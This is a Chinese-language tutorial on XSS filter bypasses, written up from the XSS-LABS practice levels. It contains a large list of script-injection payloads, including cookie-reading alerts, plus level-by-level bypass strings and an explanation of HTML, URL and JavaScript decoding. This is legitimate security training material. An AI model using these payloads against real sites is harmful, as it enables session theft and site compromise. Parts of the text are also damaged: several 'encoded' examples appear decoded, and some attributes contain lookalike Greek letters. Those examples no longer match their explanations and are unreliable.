XSS注入进阶练习篇
- 1.常用标签整理
- 2. XSS-LABS 练习
- 2.1 level 1 无限制
- 2.2 level 2 双引号闭合
- 2.3 level 3 源码函数书写不全,单引号绕过
- 2.4 level 4 无尖括号绕过
- 2.5 level 5 a标签使用
- 2.6 level 6 大小写绕过
- 2.7 level 7 置空替换绕过
- 2.8 level 8 URL编码绕过 - 重点
- 2.8.1 HTML解析
- 2.8.2 一些payload的判断
- 2.9 level 9 http://字符限制
- 2.10 level 10 隐藏参数传递绕过
- 2.11 level11 referer参数进入
- 2.12 level12 userahent参数进入
- 2.13 level13 cookie参数进入
- 2.14 反射型注入思路总结
书接上回,我们介绍了XSS的三大类型,反射型、存储型、DOM型。各自有各自的特点。我们知道,XSS漏洞的产生的根本原因就是没有对用户的输入做有效判断。导致了恶意脚本JS的加载。
那么,究竟怎么样让防御者的过滤失效呢,这就涉及到诸多的绕过姿势。本文将从XSSLABS部分关卡的视角来叙述最基本的绕过操作。
1.常用标签整理
工欲善其事比先利其器。下面是是常用的JS弹窗测试代码:
<script>alert(1)</script>
<script>confirm('1')</script>
<script>alert(1)</script>
<script>alert(/1/zyl)</script>
<script>alert(document.cookie)</script>
<script>alert([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[])())</script>
<script>alert(String.fromCharCode(65))</script>
<ZYL/οnclick="alert('xss')">ZYL
<script zyl>alert('xss')</script>
<a href="javascript:alert('xss')">aaa</a>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>ZYL
<a href=javascript:alert(13)>ZYL
<img src=1 onerror="alert('xss')">
<img src=1 onerror=alert(document.cookie)>
<svg onload=alert(1)>
<video src=1 onerror=alert(1)>
<img/src=1/οnerrοr="alert(/xss/)">
<img/src=1/οnerrοr=alert(/xss/)>
<button onfocus=alert(1) autofocus>
<body onload=alert(1)>
<body background="javascript:alert('XSS')">
<iframe src="javascript:alert('1')"></iframe>
<iframe onload=alert(1)></iframe>
<input onfocus=alert(1) autofocus>
<input type="image" src="javascript:alert('XSS');">
#上面的确实是有点多了,这里列举几个常用的:
<svg onload=alert(1)>
<img src=1 onerror="alert(1)">
<script>alert(1)</script>
关于长度:长度限制一直以来是限制XSS注入的一种方案,一旦长度不符合,XSS注入将彻底失去意义,因为根本不可能执行带有攻击性的JS代码。故,在测试时我们常常以短小的JS代码起手。
2. XSS-LABS 练习
XSS-LABS 是一款XSS吧唧,我们通过对其的绕过,深入了解绕过的艺术。
2.1 level 1 无限制
本关未开启任何形式的限制,属于体验:
<script>alert(1)</script>
判断回显位置:
插入:
2.2 level 2 双引号闭合
短剑起手,看过滤机制,回显位置。
回显在input标签内部,尝试构造双引号闭合,逃逸出来。
"> <script>alert(1)</script> //
2.3 level 3 源码函数书写不全,单引号绕过
继续短payload起手,查看回显位置和过滤机制,与第二关相似,我们再次估计重施:
到这里就卡住了,开始作弊看源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
显然,调用了一个函数进行了参数过滤,我们上官方文档看看,有没有绕过的可能性。
某类字符在 HTML 中有特殊用处,如需保持原意,需要用 HTML 实体来表达。 本函数会返回字符转义后的表达。 如需转换子字符串中所有关联的名称实体,使用 htmlentities() 代替本函数。
htmlspecialchars(
string $string,
int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
?string $encoding = null,
bool $double_encode = true
): string
用于字符转换的函数,用于过滤。这是转换的设置:
显然,lab中的过滤函数可没添加flag来过滤单引号。我们修改先前的payload:
' onclick=alert(1)//
2.4 level 4 无尖括号绕过
起手测试:
我们的左右括号被过滤了,尝试不适用尖括号进行绕过:
"onclick=alert(1) v
2.5 level 5 a标签使用
看输出点:
看起来像是替换防御了,对<script>
进行替换。我们尝试更改这里的payload
"<svg onload=alert(1)>//
好小子,on和script都给我禁了。这可怎么办,只能看源码了:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
斯,这样来看的话。str3
的位置有闭合引号的可能性,同时又不能出现on
和<script
,再次修改该payload
"> <a href="javascript:alert(1)">click</a>
到这里,我们应当明白,还有a标签可以使用,并且这类整体替换的书写模式是不推荐的。
2.6 level 6 大小写绕过
起手测试。过滤了script:
还过滤on:
测试a标签:
源码查看:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
看起来过滤更加全面了。大小写?
"> <a Href="javascript:alert(1)">click</a>//
2.7 level 7 置空替换绕过
起手测试:
置空替换,测试是否会二次置空:
"> <scrscriptipt>alert(1)</scrscriptipt>//
2.8 level 8 URL编码绕过 - 重点
起手探测:
返回到了a标签里面。过滤了script,尝试闭合使用伪协议:
javascript:alert(1)
此时还是会被过滤掉,我们尝试进行HTML编码绕过,注意这里的编码对象不要包括敏感字符外的字符,可能会造成编码错乱,无法生效。
#javascript:alert(1)的HTML编码
javascript:alert(1)
到这里就需要扩展一下了,因为编码问题如果不搞透彻,对于我们的测试来讲会b白白损失很多的时间。
2.8.1 HTML解析
在解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析。每个解析器负责解码和解析HTML文档中它所对应的部分,其工作原理已经在相应的解析器规范中明确写明。
从XSS的角度来说,我们感兴趣的是HTML文档是如何被词法解析的,因为我们并不想让用户提供的数据最终被解析为一段可执行脚本的script标签。HTML词法解析细则在这里。HTML词法解析细则是一篇冗长的文档,我们只提取其中一部分拿来分析。这篇博文只会覆盖有关文档解码如何结束,以及新token何时被创建这两个有趣的部分。
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个’<‘符号(后面没有跟’/'符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”…最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
这里有三种情况可以容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#…”形式解码,对应的解码字符会被放入数据缓冲区中。例如,在问题4中,“<”和“>”字符被编码为“<”和“>”。当解析器解析完<div>
并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。
读者可能会想:这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?
答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。
概念解析:
字符实体(character entities)
字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开始,后面跟着一个预定义的实体的名称,或是一个#符号以及字符的十进制数字。就是我们常说的HTML实体编码。
HTML字符实体(HTML character entities)
在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是因为浏览器可能误认为它们是标签的开始或结束。如果希望正确地显示预留字符,就需要在HTML中使用对应的字符实体。一个HTML字符实体描述如下:
需要注意的是,某些字符没有实体名称,但可以有实体编号。
字符引用(character references)
字符引用包括“字符值引用”和“字符实体引用”。在上述HTML例子中,<
对应的字符值引用为<
,对应的字符实体引用为<
。字符实体引用也被叫做“实体引用”或“实体”。)
现在你大概会明白为什么我们要转义“<”、“>”、“'” (单引号)和“"” (双引号)字符了。
这里要提一下RCDATA的概念。要了解什么是RCDATA,我们先要了解另一个概念。在HTML中有五类元素:
1. 空元素(Void elements),如<area>,<br>,<base>等等
2. 原始文本元素(Raw text elements),有<script>和<style>
3. RCDATA元素(RCDATA elements),有<textarea>和<title>
4.外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素
5.基本元素(Normal elements),即除了以上4种元素以外的元素
五类元素的区别如下:
- 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
- 原始文本元素,可以容纳文本。
- RCDATA元素,可以容纳文本和字符引用。
- 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
- 基本元素,可以容纳文本、字符引用、其他元素和注释
如果我们回头看HTML解析器的规则,其中有一种可以容纳字符引用的情况是“RCDATA状态中的字符引用”。这意味着在<textarea>
和<title>
标签中的字符引用会被HTML解析器解码。这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”。这样就可以解释下面的问题5了。另外,对RCDATA有个特殊的情况。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到<
字符,它会转换到RCDATA小于号状态
。如果<
字符后没有紧跟着/
和对应的标签名,解析器会转换回RCDATA状态
。这意味着在RCDATA元素标签的内容中(例如<textarea>
或<title>
的内容中),唯一能够被解析器认做是标签的就是</textarea>
或者</title>
。因此,在<textarea>
和<title>
的内容中不会创建标签,就不会有脚本能够执行。这也就解释了为什么问题6中的脚本不会被执行。
2.8.2 一些payload的判断
这里有15个payload,使用了各种不同的编码形式,在对其进行测试后,会对编码有更深入的理解:
基础部分:
1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
#a标签的href属性内部只能书写URL,必须符合URL协议规范。
#URL规定协议,用户名,密码都必须是ASCII,编码当然就无效了
#故,无法解析这个内容
2.<a href="javascript:%61%6c%65%72%74%28%32%29">
#包含有HTML实体编码,先行解析,解析完后出现javascript字符
#交给href进行处理的时候,拿到的是"havascript:%61%6c%65%72%74%28%32%29"
#交给JS处理,识别编码,可以运行。
3.<a href="javascript%3aalert(3)"></a>
#由于:被编码成了urlcode,在href中默认不进行解析。不构成javascript伪协议
#故无法使用
4.<div><img src=x οnerrοr=alert(4)></div>
#这里包含了HTML编码内容,反过来以开发者的角度思考,HTML编码就是为了显示这些特殊字符,而不干扰正常的DOM解析,所以这里面的内容不会变成一个img元素,也不会被执行
#从HTML解析机制看,在读取<div>之后进入数据状态,<会被HTML解码,但不会进入标签开始状态,当然也就不会创建img元素,也就不会执行。
#即进入一个标签头之后,HTML解析机处于数据状态,碰到的HTML编码会解码,但是不会对其进行解析。
5.<textarea><script>alert(5)</script></textarea>
#由于textarea标签本身就是RCDATA元素,只能容纳文本与字符引用(HTML编码),故即使进行了解析,也不会运行内部的任何标签元素。
#常见的RCDATA元素还有title标签
6.<textarea><script>alert(6)</script></textarea>
#同5,不解析RCDATA元素内包含的任何标签。
扩展部分:
7.<button onclick="confirm('7');">Button</button>
#解析为confirm('7')
#可以执行
8.<button onclick="confirm('8\u0027);">Button</button>
#onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,
#'显然不行,JS执行失败
#标识符(identifiers)
#代码中用来标识变量、函数、或属性的字符序列。
#在JavaScript中,标识符只能包含字母或数字或下划线(“_”)或美元符号(“$”),
#且不能以数字开头。标识符与字符串不同之处在于字符串是数据,而标识符是代码的一部分。在 #JavaScript 中,无法将标识符转换为字符串,但有时可以将字符串解析为标识符。
9.<script>alert(9);</script>
#script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用(不识别HTL实体编码),于是直接由JS处理,JS也认不出来,执行失败
10. <script>\u0061\u006c\u0065\u0072\u0074(10);</script>
#函数名alert属于标识符,直接被JS执行
11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
#alert(11)中,在JS里面的话,无法解析unicode中的(11)
12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
#这里看似将没毛病,但是这里`\u0031\u0032`在解码的时候会被解码为字符串`12`
#注意是字符串,不是数字,文字显然是需要引号的,JS执行失败
13.<script>alert('13\u0027)</script>
#JS中无法解码'符号,只能解码字符串和标识符
14.<script>alert('14\u000a')</script>
# `\u000a`在JavaScript里是换行,就是`\n`,直接执行。
15.<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
#解码后:javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)
#识别javascript协议,继续进行处理
总结:
<script>
和<style>
数据只能有文本,不会有HTML解码和URL解码操作<textarea>
和<title>
里会有HTML解码操作,但不会有子元素- 其他元素数据(如
div
)和元素属性数据(如href
)中会有HTML解码操作- 部分属性(如
href
)会有URL解码操作,但URL中的协议需为ASCII- JavaScript会对字符串和标识符Unicode解码,JS中不能对特殊字符进行unicode编码
2.9 level 9 http://字符限制
放出我方侦察兵:
直接回显了这个信息,显然我们得尝试源码分析了:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
这里强行让我们添加http://字段,我们再次构造payload
javascript:alert(1)http://
可以看到,即使http://放到了后买,也还是无法弹出,一定是http产生了影响,我们将其注释掉:
javascript:alert(1)//http://
2.10 level 10 隐藏参数传递绕过
探测回显:
很奇怪,这个页面看起来没有利用点,其实暗藏玄机,我们发现三个hidden状态的表单选项卡。我们删除其一的hidden,提交参数,看URL有没有变化。
有变化
进行传参显示测试:
我们发现这里有隐藏的参数传递,我们对其进行payload构造
http://127.0.0.1/xss-labs/level10.php?t_link=qweq&t_history=aaaaa&t_sort=" οnclick=alert(1) type="text
2.11 level11 referer参数进入
肉眼可见,在refer字段中的信息被传递到页面里面显示了:
" οnclick=alert(1) type="text
使用hackbar插件完成:
点击触发:
2.12 level12 userahent参数进入
观察法,可得参数是从用户的agent头进去的:
payload:
" οnclick=alert(1) type="text
执行成功:
2.13 level13 cookie参数进入
重复,这里是对cookie的插入
我们要先找到cookie的键,才能进行后续的插入:
测试插入:
效果:
插入payload
" οnclick=alert(1) type="text
2.14 反射型注入思路总结
在有输入位置的情况下我们优先输入<script>alert(1)</script>
进行探测,主要要看清楚返回参数的位置,后端对于参数的过滤情况。根据过滤情况进行进一步的绕过尝试。比如大小写,更换payload标签,进行HTML编码。都是常规的绕过操作。当然根据我们回显的位置也需要做出不同的应对,如果回显在标签内部,直接使用各类标签即可。如果回显是作为某些标签的属性,我们就可以考虑onclick触发事件进行XSS注入。还是需要多多尝试,因为真实环境中我们看不到源码。
但是有的标签比如<textarea>
这种RCDATA类型的标签,我们就不需要进行任何形式的绕过了。因为它压根不解析出了自己闭合标签以外的其他标签。
还有对于编码的掌握,理解编码在何时生效再合适不生效是十分重要的。适当编码可以让我们绕过一些过滤。
<script>
和<style>
数据只能有文本,不会有HTML解码和URL解码操作<textarea>
和<title>
里会有HTML解码操作,但不会有子元素- 其他元素数据(如
div
)和元素属性数据(如href
)中会有HTML解码操作- 部分属性(如
href
)会有URL解码操作,但URL中的协议需为ASCII- JavaScript会对字符串和标识符Unicode解码,JS中不能对特殊字符进行unicode编码